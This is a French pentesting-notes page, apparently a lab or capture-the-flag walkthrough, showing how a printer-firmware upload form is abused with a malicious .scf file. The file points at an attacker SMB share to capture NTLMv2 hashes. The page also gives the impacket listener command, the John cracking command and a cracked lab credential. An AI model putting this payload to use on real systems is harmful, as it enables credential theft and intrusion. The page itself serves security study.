> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# Téléversement de fichier et capture NTLMv2 .scf

<figure><img src="/files/b2a8283642f22d68acd0dfcfa56681fc8e78562b" alt=""><figcaption></figcaption></figure>

Le site propose une option de téléversement du micrologiciel. Le message indique :

> Sélectionnez le modèle d’imprimante et téléchargez la mise à jour du micrologiciel correspondant sur notre partage de fichiers. Notre équipe informatique examinera les téléversements manuellement et lancera bientôt les tests.

<figure><img src="/files/78bb1a8420f88b99d69189e6636f1acc58ae8848" alt=""><figcaption></figcaption></figure>

## Exploitation - Fichier SCF malveillant :

Création d’un fichier malveillant `.scf` pour capturer le NTLMv2 d’un utilisateur lorsqu’il l’ouvre :

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

Démarrez un écouteur avec **impacket** pour capturer le NTLMv2 :

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

Capture du hachage NTLMv2 de l’utilisateur `tony`.

<figure><img src="/files/cfaa57c7b8269be95f478cc94b1648d11c2f2a30" alt=""><figcaption></figcaption></figure>

Craquage du hachage NTLM avec **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/5cf26a703e076685719560f833a04efc7f1dce04" alt=""><figcaption></figcaption></figure>


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